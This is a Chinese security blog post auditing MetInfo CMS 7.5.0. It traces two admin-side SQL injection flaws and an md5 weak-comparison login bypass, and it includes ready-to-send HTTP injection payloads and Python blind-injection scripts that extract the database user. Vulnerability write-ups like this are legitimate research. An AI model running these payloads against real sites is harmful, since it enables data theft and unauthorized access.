写点什么

网络安全审计之 CMS 代码审计

  • 2021 年 12 月 29 日
  • 本文字数:2757 字

    阅读完需:约 9 分钟

0x00:环境说明

Windows 10PhpstubyPhp 版本:7.2.9CMS 版本:MetInfo7.5.0

0x01:目录结构

|-- about|-- about1|-- admin|-- app|-- cache|-- case|-- config|-- download|-- favicon.ico|-- feedback|-- hits|-- img|-- include|-- index.php|-- install|-- job|-- member|-- message|-- news|-- online|-- product|-- public|-- robots.txt|-- search|-- sitemap|-- tags|-- templates|-- upload
复制代码

0x02:开始审计

**注意:**以下漏洞均已被 CNVD 收录


【一>所有资源获取<一】1、200 份很多已经买不到的绝版电子书 2、30G 安全大厂内部的视频资料 3、100 份 src 文档 4、常见安全面试题 5、ctf 大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线

SQL 注入

CMS 的安装就略过了,该项目的控制器目录是 app,直接从 app 目录下的文件开始审。在文件 app\system\user\admin\parameter.class.php 下的 doDelParas 函数,表单的 id 被传递给了 delete_para_value 方法,跟进该方法。



在文件 app/system/parameter/include/class/parameter_database.class.php 的 delete_para_value 函数可以看到传入的 id 被直接拼接到 sql 语句中,继续跟进到 DB::query($query)。



在文件 app/system/include/class/mysql.class.php 的 query 函数下,sql 语句被传递给了 self::link 可以看到已经是 mysql 对象了。




使用 burpsute 进行注入攻击,注意需要管理员权限,payload:


POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1Host: cms.cnContent-Length: 60Pragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://cms.cnReferer: http://cms.cn/admin/Connection: closeCookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;
id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),0)
复制代码


测试结果如下,成功触发基于时间的布尔盲注延时 2 秒,id 164 是当前表默认存在的。(原谅我的厚码,大家知道就好)



编写 python 脚本跑出用户名


import requests
url = "http://cms.cn/admin/?n=user&c=parameter&a=doDelParas"headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}proxies = {"http": None}req = requests.session()result = ''for mid in range(15): for i in range(30, 150): data = "id[]=164+and+if((select ascii(substr(user(),%d,1)))=%d,sleep(1),0)" % (mid, i) resp = req.post(url, data=data, headers=headers, proxies=proxies) if resp.elapsed.total_seconds() > 1.5: result += chr(i) print(result)
复制代码


SQL 注入

在文件 app\system\parameter\admin\parameter_admin.class.php 的 doparasave 函数下跟进 table_para 方法,table_para 方法接收了两个表单参数,_M[‘form’][‘module’] 接收表单的 module 参数。



在 table_para 函数,需要构造表单的内容使数据能传入到 update_para_list 或 insert_para_list 方法,这两个方法都可以触发 sql 注入,这里我选择使用 insert_para_list 来触发。



跟进到 insert_para_list 方法,options 的一个值需要是数组,使 foreach 之后module 的数据就赋值给 $option[‘module’]。



进入 app\system\parameter\include\class\parameter_database.class.php 文件的 add_para_value 方法,可以看到 $option[‘module’] 被直接拼接到 sql 语句并且没有使用单引号,这里就导致了 sql 注入。



捋一下思路,我们需要构造 _M[‘form’][‘module’] 表单则构造 sql 语句。


使用 burpsute 进行注入攻击,注意需要管理员权限,payload:


POST /admin/?n=parameter&c=parameter_admin&a=doparasave HTTP/1.1Host: cms.cnContent-Length: 126Pragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://cms.cnReferer: http://cms.cn/admin/Connection: closeCookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;
allid=a&submit_type=save&type-a=6&options-a={"0":{"0":"0"}}&module=-1 or if((select ascii(mid(user(),1,1)))>1,sleep(0.03),0)
复制代码


测试结果如下,成功触发基于时间的布尔盲注延时差不多 1 秒。



python 脚本:


import requests
url = "http://cms.cn/admin/?n=parameter&c=parameter_admin&a=doparasave"headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}proxies = {"http": None}req = requests.session()result = ''
for mid in range(15): for i in range(30, 150): data = "allid=a&submit_type=save&type-a=6&options-a={\"0\":{\"0\":\"0\"}}&module=-1 or if((select ascii(mid(user(),%d,1)))=%d,sleep(0.03),1)" % (mid, i) resp = req.post(url, data=data, headers=headers, proxies=proxies) if resp.elapsed.total_seconds() > 0.8: result += chr(i) print(result)
复制代码

md5 弱类型比较

在文件 app/system/user/web/login.class.php 的 dologin 函数下,$this->login 方法接收了表单的 username 与 password,跟进该方法。



在 login 函数中继续跟进到 $this->userclass->login_by_password 方法。



在文件 app/system/include/class/user.class.php 的 login_by_password 函数中 this->get_user_by_username(user[‘password’] 进行了比较,由于使用了两个等于号,所以存在 md5 弱类型比较漏洞。(经常打 ctf 的应该都知道)


漏洞复现

首先注册一个账号 abab,密码设置为 md5 加密后为 0e 开头的字符串。



登录时使用 md5 加密后为 0e 开头的字符串即可。


结语

可以发现大部分是后台的漏洞,前台防的比较紧,不过这些漏洞 CNVD 都是收录的。

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
网络安全审计之CMS代码审计